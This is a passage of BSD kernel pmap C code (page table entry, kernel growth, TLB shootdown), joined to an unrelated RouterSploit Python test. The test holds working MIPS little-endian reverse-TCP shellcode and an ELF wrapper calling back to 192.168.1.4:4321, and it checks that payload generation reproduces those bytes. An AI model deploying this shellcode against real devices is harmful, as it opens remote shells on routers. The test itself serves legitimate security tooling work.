(pg == NULL) panic("%s: PG_PVLIST mapping with unmanaged " "page: va 0x%lx, opte 0x%llx, pa 0x%lx", __func__, va, opte, pa); #endif pmap_sync_flags_pte(pg, opte); opve = pmap_remove_pv(pg, pmap, va); pg = NULL; /* This is not the page we are looking for */ } } else { /* opte not valid */ resdelta = 1; if (wired) wireddelta = 1; else wireddelta = 0; if (ptp != NULL) ptpdelta = 1; else ptpdelta = 0; } /* * pve is either NULL or points to a now-free pv_entry structure * (the latter case is if we called pmap_remove_pv above). * * if this entry is to be on a pvlist, enter it now. */ if (pmap_initialized) pg = PHYS_TO_VM_PAGE(pa); if (pg != NULL) { pmap_enter_pv(pg, pve, pmap, va, ptp); pve = NULL; } enter_now: /* * at this point pg is !NULL if we want the PG_PVLIST bit set */ pmap->pm_stats.resident_count += resdelta; pmap->pm_stats.wired_count += wireddelta; if (ptp != NULL) ptp->wire_count += ptpdelta; KASSERT(pg == PHYS_TO_VM_PAGE(pa)); npte = pa | protection_codes[prot] | PG_V; if (pg != NULL) { npte |= PG_PVLIST; /* * make sure that if the page is write combined all * instances of pmap_enter make it so. */ if (pg->pg_flags & PG_PMAP_WC) { KASSERT(nocache == 0); wc = 1; } } if (wc) npte |= pmap_pg_wc; if (wired) npte |= PG_W; if (nocache) npte |= PG_N; if (va < VM_MAXUSER_ADDRESS) npte |= ((flags & PMAP_EFI) ? 0 : PG_u); else if (va < VM_MAX_ADDRESS) npte |= (PG_u | PG_RW); /* XXXCDC: no longer needed? */ if (pmap == pmap_kernel()) npte |= pg_g_kern; if (crypt) npte |= pg_crypt; /* * If the old entry wasn't valid, we can just update it and * go. If it was valid, and this isn't a read->write * transition, then we can safely just update it and flush * any old TLB entries. * * If it _was_ valid and this _is_ a read->write transition, * then this could be a CoW resolution and we need to make * sure no CPU can see the new writable mapping while another * still has the old mapping in its TLB, so insert a correct * but unwritable mapping, flush any old TLB entries, then * make it writable. */ if (! pmap_valid_entry(opte)) { PTE_BASE[pl1_i(va)] = npte; } else if ((opte | (npte ^ PG_RW)) & PG_RW) { /* previously writable or not making writable */ PTE_BASE[pl1_i(va)] = npte; if (nocache && (opte & PG_N) == 0) wbinvd_on_all_cpus(); pmap_tlb_shootpage(pmap, va, shootself); } else { PTE_BASE[pl1_i(va)] = npte ^ PG_RW; if (nocache && (opte & PG_N) == 0) /* XXX impossible? */ wbinvd_on_all_cpus(); pmap_tlb_shootpage(pmap, va, shootself); pmap_tlb_shootwait(); PTE_BASE[pl1_i(va)] = npte; } pmap_unmap_ptes(pmap, scr3); pmap_tlb_shootwait(); error = 0; out: if (pve != NULL) pool_put(&pmap_pv_pool, pve); if (opve != NULL) pool_put(&pmap_pv_pool, opve); return error; } int pmap_get_physpage(vaddr_t va, int level, paddr_t *paddrp) { struct vm_page *ptp; struct pmap *kpm = pmap_kernel(); if (uvm.page_init_done == 0) { vaddr_t va; /* * we're growing the kernel pmap early (from * uvm_pageboot_alloc()). this case must be * handled a little differently. */ va = pmap_steal_memory(PAGE_SIZE, NULL, NULL); *paddrp = PMAP_DIRECT_UNMAP(va); } else { ptp = uvm_pagealloc(&kpm->pm_obj[level - 1], ptp_va2o(va, level), NULL, UVM_PGA_USERESERVE|UVM_PGA_ZERO); if (ptp == NULL) panic("%s: out of memory", __func__); atomic_clearbits_int(&ptp->pg_flags, PG_BUSY); ptp->wire_count = 1; *paddrp = VM_PAGE_TO_PHYS(ptp); } kpm->pm_stats.resident_count++; return 1; } /* * Allocate the amount of specified ptps for a ptp level, and populate * all levels below accordingly, mapping virtual addresses starting at * kva. * * Used by pmap_growkernel. */ void pmap_alloc_level(vaddr_t kva, int lvl, long *needed_ptps) { unsigned long i; vaddr_t va; paddr_t pa; unsigned long index, endindex; int level; pd_entry_t *pdep; for (level = lvl; level > 1; level--) { if (level == PTP_LEVELS) pdep = pmap_kernel()->pm_pdir; else pdep = normal_pdes[level - 2]; va = kva; index = pl_i(kva, level); endindex = index + needed_ptps[level - 1]; /* * XXX special case for first time call. */ if (nkptp[level - 1] != 0) index++; else endindex--; for (i = index; i <= endindex; i++) { pmap_get_physpage(va, level - 1, &pa); pdep[i] = pa | PG_RW | PG_V | pg_nx | pg_crypt; nkptp[level - 1]++; va += nbpd[level - 1]; } } } /* * pmap_growkernel: increase usage of KVM space * * => we allocate new PTPs for the kernel and install them in all * the pmaps on the system. */ static vaddr_t pmap_maxkvaddr = VM_MIN_KERNEL_ADDRESS; vaddr_t pmap_growkernel(vaddr_t maxkvaddr) { struct pmap *kpm = pmap_kernel(), *pm; int s, i; unsigned newpdes; long needed_kptp[PTP_LEVELS], target_nptp, old; if (maxkvaddr <= pmap_maxkvaddr) return pmap_maxkvaddr; maxkvaddr = x86_round_pdr(maxkvaddr); old = nkptp[PTP_LEVELS - 1]; /* * This loop could be optimized more, but pmap_growkernel() * is called infrequently. */ for (i = PTP_LEVELS - 1; i >= 1; i--) { target_nptp = pl_i(maxkvaddr, i + 1) - pl_i(VM_MIN_KERNEL_ADDRESS, i + 1); /* * XXX only need to check toplevel. */ if (target_nptp > nkptpmax[i]) panic("%s: out of KVA space", __func__); needed_kptp[i] = target_nptp - nkptp[i] + 1; } s = splhigh(); /* to be safe */ pmap_alloc_level(pmap_maxkvaddr, PTP_LEVELS, needed_kptp); /* * If the number of top level entries changed, update all * pmaps. */ if (needed_kptp[PTP_LEVELS - 1] != 0) { newpdes = nkptp[PTP_LEVELS - 1] - old; mtx_enter(&pmaps_lock); LIST_FOREACH(pm, &pmaps, pm_list) { memcpy(&pm->pm_pdir[PDIR_SLOT_KERN + old], &kpm->pm_pdir[PDIR_SLOT_KERN + old], newpdes * sizeof (pd_entry_t)); } mtx_leave(&pmaps_lock); } pmap_maxkvaddr = maxkvaddr; splx(s); return maxkvaddr; } vaddr_t pmap_steal_memory(vsize_t size, vaddr_t *start, vaddr_t *end) { int segno; u_int npg; vaddr_t va; paddr_t pa; struct vm_physseg *seg; size = round_page(size); npg = atop(size); for (segno = 0, seg = vm_physmem; segno < vm_nphysseg; segno++, seg++) { if (seg->avail_end - seg->avail_start < npg) continue; /* * We can only steal at an ``unused'' segment boundary, * i.e. either at the start or at the end. */ if (seg->avail_start == seg->start || seg->avail_end == seg->end) break; } if (segno == vm_nphysseg) { panic("%s: out of memory", __func__); } else { if (seg->avail_start == seg->start) { pa = ptoa(seg->avail_start); seg->avail_start += npg; seg->start += npg; } else { pa = ptoa(seg->avail_end) - size; seg->avail_end -= npg; seg->end -= npg; } /* * If all the segment has been consumed now, remove it. * Note that the crash dump code still knows about it * and will dump it correctly. */ if (seg->start == seg->end) { if (vm_nphysseg-- == 1) panic("%s: out of memory", __func__); while (segno < vm_nphysseg) { seg[0] = seg[1]; /* struct copy */ seg++; segno++; } } va = PMAP_DIRECT_MAP(pa); memset((void *)va, 0, size); } if (start != NULL) *start = virtual_avail; if (end != NULL) *end = VM_MAX_KERNEL_ADDRESS; return (va); } /* * pmap_convert * * Converts 'pmap' to the new 'mode'. * * Parameters: * pmap: the pmap to convert * mode: the new mode (see pmap.h, PMAP_TYPE_xxx) */ void pmap_convert(struct pmap *pmap, int mode) { pt_entry_t *pte; mtx_enter(&pmap->pm_mtx); pmap->pm_type = mode; if (mode == PMAP_TYPE_EPT) { /* Clear PML4 */ pte = (pt_entry_t *)pmap->pm_pdir; memset(pte, 0, PAGE_SIZE); /* Give back the meltdown pdir */ if (pmap->pm_pdir_intel != NULL) { pool_put(&pmap_pdp_pool, pmap->pm_pdir_intel); pmap->pm_pdir_intel = NULL; } } mtx_leave(&pmap->pm_mtx); } #ifdef MULTIPROCESSOR /* * Locking for tlb shootdown. * * We lock by setting tlb_shoot_wait to the number of cpus that will * receive our tlb shootdown. After sending the IPIs, we don't need to * worry about locking order or interrupts spinning for the lock because * the call that grabs the "lock" isn't the one that releases it. And * there is nothing that can block the IPI that releases the lock. * * The functions are organized so that we first count the number of * cpus we need to send the IPI to, then we grab the counter, then * we send the IPIs, then we finally do our own shootdown. * * Our shootdown is last to make it parallel with the other cpus * to shorten the spin time. * * Notice that we depend on failures to send IPIs only being able to * happen during boot. If they happen later, the above assumption * doesn't hold since we can end up in situations where noone will * release the lock if we get an interrupt in a bad moment. */ #ifdef MP_LOCKDEBUG #include <ddb/db_output.h> extern int __mp_lock_spinout; #endif volatile long tlb_shoot_wait __attribute__((section(".kudata"))); volatile vaddr_t tlb_shoot_addr1 __attribute__((section(".kudata"))); volatile vaddr_t tlb_shoot_addr2 __attribute__((section(".kudata"))); volatile int tlb_shoot_first_pcid __attribute__((section(".kudata"))); /* Obtain the "lock" for TLB shooting */ static inline int pmap_start_tlb_shoot(long wait, const char *func) { int s = splvm(); while (atomic_cas_ulong(&tlb_shoot_wait, 0, wait) != 0) { #ifdef MP_LOCKDEBUG int nticks = __mp_lock_spinout; #endif while (tlb_shoot_wait != 0) { CPU_BUSY_CYCLE(); #ifdef MP_LOCKDEBUG if (--nticks <= 0) { db_printf("%s: spun out", func); db_enter(); nticks = __mp_lock_spinout; } #endif } } return s; } void pmap_tlb_shootpage(struct pmap *pm, vaddr_t va, int shootself) { struct cpu_info *ci, *self = curcpu(); CPU_INFO_ITERATOR cii; long wait = 0; u_int64_t mask = 0; int is_kva = va >= VM_MIN_KERNEL_ADDRESS; CPU_INFO_FOREACH(cii, ci) { if (ci == self || !(ci->ci_flags & CPUF_RUNNING)) continue; if (!is_kva && !pmap_is_active(pm, ci)) continue; mask |= (1ULL << ci->ci_cpuid); wait++; } if (wait > 0) { int s = pmap_start_tlb_shoot(wait, __func__); tlb_shoot_first_pcid = is_kva ? PCID_KERN : PCID_PROC; tlb_shoot_addr1 = va; CPU_INFO_FOREACH(cii, ci) { if ((mask & (1ULL << ci->ci_cpuid)) == 0) continue; if (x86_fast_ipi(ci, LAPIC_IPI_INVLPG) != 0) panic("%s: ipi failed", __func__); } splx(s); } if (!pmap_use_pcid) { if (shootself) pmap_update_pg(va); } else if (is_kva) { invpcid(INVPCID_ADDR, PCID_PROC, va); invpcid(INVPCID_ADDR, PCID_KERN, va); } else if (shootself) { invpcid(INVPCID_ADDR, PCID_PROC, va); if (cpu_meltdown) invpcid(INVPCID_ADDR, PCID_PROC_INTEL, va); } } void pmap_tlb_shootrange(struct pmap *pm, vaddr_t sva, vaddr_t eva, int shootself) { struct cpu_info *ci, *self = curcpu(); CPU_INFO_ITERATOR cii; long wait = 0; u_int64_t mask = 0; int is_kva = sva >= VM_MIN_KERNEL_ADDRESS; vaddr_t va; CPU_INFO_FOREACH(cii, ci) { if (ci == self || !(ci->ci_flags & CPUF_RUNNING)) continue; if (!is_kva && !pmap_is_active(pm, ci)) continue; mask |= (1ULL << ci->ci_cpuid); wait++; } if (wait > 0) { int s = pmap_start_tlb_shoot(wait, __func__); tlb_shoot_first_pcid = is_kva ? PCID_KERN : PCID_PROC; tlb_shoot_addr1 = sva; tlb_shoot_addr2 = eva; CPU_INFO_FOREACH(cii, ci) { if ((mask & (1ULL << ci->ci_cpuid)) == 0) continue; if (x86_fast_ipi(ci, LAPIC_IPI_INVLRANGE) != 0) panic("%s: ipi failed", __func__); } splx(s); } if (!pmap_use_pcid) { if (shootself) { for (va = sva; va < eva; va += PAGE_SIZE) pmap_update_pg(va); } } else if (is_kva) { for (va = sva; va < eva; va += PAGE_SIZE) { invpcid(INVPCID_ADDR, PCID_PROC, va); invpcid(INVPCID_ADDR, PCID_KERN, va); } } else if (shootself) { if (cpu_meltdown) { for (va = sva; va < eva; va += PAGE_SIZE) { invpcid(INVPCID_ADDR, PCID_PROC, va); invpcid(INVPCID_ADDR, PCID_PROC_INTEL, va); } } else { for (va = sva; va < eva; va += PAGE_SIZE) invpcid(INVPCID_ADDR, PCID_PROC, va); } } } void pmap_tlb_shoottlb(struct pmap *pm, int shootself) { struct cpu_info *ci, *self = curcpu(); CPU_INFO_ITERATOR cii; long wait = 0; u_int64_t mask = 0; KASSERT(pm != pmap_kernel()); CPU_INFO_FOREACH(cii, ci) { if (ci == self || !pmap_is_active(pm, ci) || !(ci->ci_flags & CPUF_RUNNING)) continue; mask |= (1ULL << ci->ci_cpuid); wait++; } if (wait) { int s = pmap_start_tlb_shoot(wait, __func__); CPU_INFO_FOREACH(cii, ci) { if ((mask & (1ULL << ci->ci_cpuid)) == 0) continue; if (x86_fast_ipi(ci, LAPIC_IPI_INVLTLB) != 0) panic("%s: ipi failed", __func__); } splx(s); } if (shootself) { if (!pmap_use_pcid) tlbflush(); else { invpcid(INVPCID_PCID, PCID_PROC, 0); if (cpu_meltdown) invpcid(INVPCID_PCID, PCID_PROC_INTEL, 0); } } } void pmap_tlb_shootwait(void) { #ifdef MP_LOCKDEBUG int nticks = __mp_lock_spinout; #endif while (tlb_shoot_wait != 0) { CPU_BUSY_CYCLE(); #ifdef MP_LOCKDEBUG if (--nticks <= 0) { db_printf("%s: spun out", __func__); db_enter(); nticks = __mp_lock_spinout; } #endif } } #else /* MULTIPROCESSOR */ void pmap_tlb_shootpage(struct pmap *pm, vaddr_t va, int shootself) { if (!pmap_use_pcid) { if (shootself) pmap_update_pg(va); } else if (va >= VM_MIN_KERNEL_ADDRESS) { invpcid(INVPCID_ADDR, PCID_PROC, va); invpcid(INVPCID_ADDR, PCID_KERN, va); } else if (shootself) { invpcid(INVPCID_ADDR, PCID_PROC, va); if (cpu_meltdown) invpcid(INVPCID_ADDR, PCID_PROC_INTEL, va); } } void pmap_tlb_shootrange(struct pmap *pm, vaddr_t sva, vaddr_t eva, int shootself) { vaddr_t va; if (!pmap_use_pcid) { if (shootself) { for (va = sva; va < eva; va += PAGE_SIZE) pmap_update_pg(va); } } else if (sva >= VM_MIN_KERNEL_ADDRESS) { for (va = sva; va < eva; va += PAGE_SIZE) { invpcid(INVPCID_ADDR, PCID_PROC, va); invpcid(INVPCID_ADDR, PCID_KERN, va); } } else if (shootself) { if (cpu_meltdown) { for (va = sva; va < eva; va += PAGE_SIZE) { invpcid(INVPCID_ADDR, PCID_PROC, va); invpcid(INVPCID_ADDR, PCID_PROC_INTEL, va); } } else { for (va = sva; va < eva; va += PAGE_SIZE) invpcid(INVPCID_ADDR, PCID_PROC, va); } } } void pmap_tlb_shoottlb(struct pmap *pm, int shootself) { if (shootself) { if (!pmap_use_pcid) tlbflush(); else { invpcid(INVPCID_PCID, PCID_PROC, 0); if (cpu_meltdown) invpcid(INVPCID_PCID, PCID_PROC_INTEL, 0); } } } #endif /* MULTIPROCESSOR */ ```
```python from routersploit.modules.payloads.mipsle.reverse_tcp import Payload # mipsle reverse tcp with lhost=192.168.1.4 lport=4321 reverse_tcp = ( b"\xff\xff\x04\x28\xa6\x0f\x02\x24\x0c\x09\x09\x01\x11\x11\x04" b"\x28\xa6\x0f\x02\x24\x0c\x09\x09\x01\xfd\xff\x0c\x24\x27\x20" b"\x80\x01\xa6\x0f\x02\x24\x0c\x09\x09\x01\xfd\xff\x0c\x24\x27" b"\x20\x80\x01\x27\x28\x80\x01\xff\xff\x06\x28\x57\x10\x02\x24" b"\x0c\x09\x09\x01\xff\xff\x44\x30\xc9\x0f\x02\x24\x0c\x09\x09" b"\x01\xc9\x0f\x02\x24\x0c\x09\x09\x01\x10\xe1\x05\x3c\x02\x00" b"\xa5\x34\xf8\xff\xa5\xaf\x01\x04\x05\x3c\xc0\xa8\xa5\x34\xfc" b"\xff\xa5\xaf\xf8\xff\xa5\x23\xef\xff\x0c\x24\x27\x30\x80\x01" b"\x4a\x10\x02\x24\x0c\x09\x09\x01\x62\x69\x08\x3c\x2f\x2f\x08" b"\x35\xec\xff\xa8\xaf\x73\x68\x08\x3c\x6e\x2f\x08\x35\xf0\xff" b"\xa8\xaf\xff\xff\x07\x28\xf4\xff\xa7\xaf\xfc\xff\xa7\xaf\xec" b"\xff\xa4\x23\xec\xff\xa8\x23\xf8\xff\xa8\xaf\xf8\xff\xa5\x23" b"\xec\xff\xbd\x27\xff\xff\x06\x28\xab\x0f\x02\x24\x0c\x09\x09" b"\x01" ) # elf mipsle reverse tcp elf_mipsle_reverse_tcp = ( b"\x7f\x45\x4c\x46\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00" b"\x00\x02\x00\x08\x00\x01\x00\x00\x00\x54\x00\x40\x00\x34\x00" b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x34\x00\x20\x00\x01" b"\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00" b"\x00\x00\x40\x00\x00\x00\x40\x00\x18\x01\x00\x00\xdc\x01\x00" b"\x00\x07\x00\x00\x00\x00\x10\x00\x00\xff\xff\x04\x28\xa6\x0f" b"\x02\x24\x0c\x09\x09\x01\x11\x11\x04\x28\xa6\x0f\x02\x24\x0c" b"\x09\x09\x01\xfd\xff\x0c\x24\x27\x20\x80\x01\xa6\x0f\x02\x24" b"\x0c\x09\x09\x01\xfd\xff\x0c\x24\x27\x20\x80\x01\x27\x28\x80" b"\x01\xff\xff\x06\x28\x57\x10\x02\x24\x0c\x09\x09\x01\xff\xff" b"\x44\x30\xc9\x0f\x02\x24\x0c\x09\x09\x01\xc9\x0f\x02\x24\x0c" b"\x09\x09\x01\x10\xe1\x05\x3c\x02\x00\xa5\x34\xf8\xff\xa5\xaf" b"\x01\x04\x05\x3c\xc0\xa8\xa5\x34\xfc\xff\xa5\xaf\xf8\xff\xa5" b"\x23\xef\xff\x0c\x24\x27\x30\x80\x01\x4a\x10\x02\x24\x0c\x09" b"\x09\x01\x62\x69\x08\x3c\x2f\x2f\x08\x35\xec\xff\xa8\xaf\x73" b"\x68\x08\x3c\x6e\x2f\x08\x35\xf0\xff\xa8\xaf\xff\xff\x07\x28" b"\xf4\xff\xa7\xaf\xfc\xff\xa7\xaf\xec\xff\xa4\x23\xec\xff\xa8" b"\x23\xf8\xff\xa8\xaf\xf8\xff\xa5\x23\xec\xff\xbd\x27\xff\xff" b"\x06\x28\xab\x0f\x02\x24\x0c\x09\x09\x01" ) def test_payload_generation(): """ Test scenario - payload generation """ payload = Payload() payload.lhost = "192.168.1.4" payload.lport = 4321 assert payload.generate() == reverse_tcp assert payload.generate_elf(reverse_tcp) == elf_mipsle_reverse_tcp ```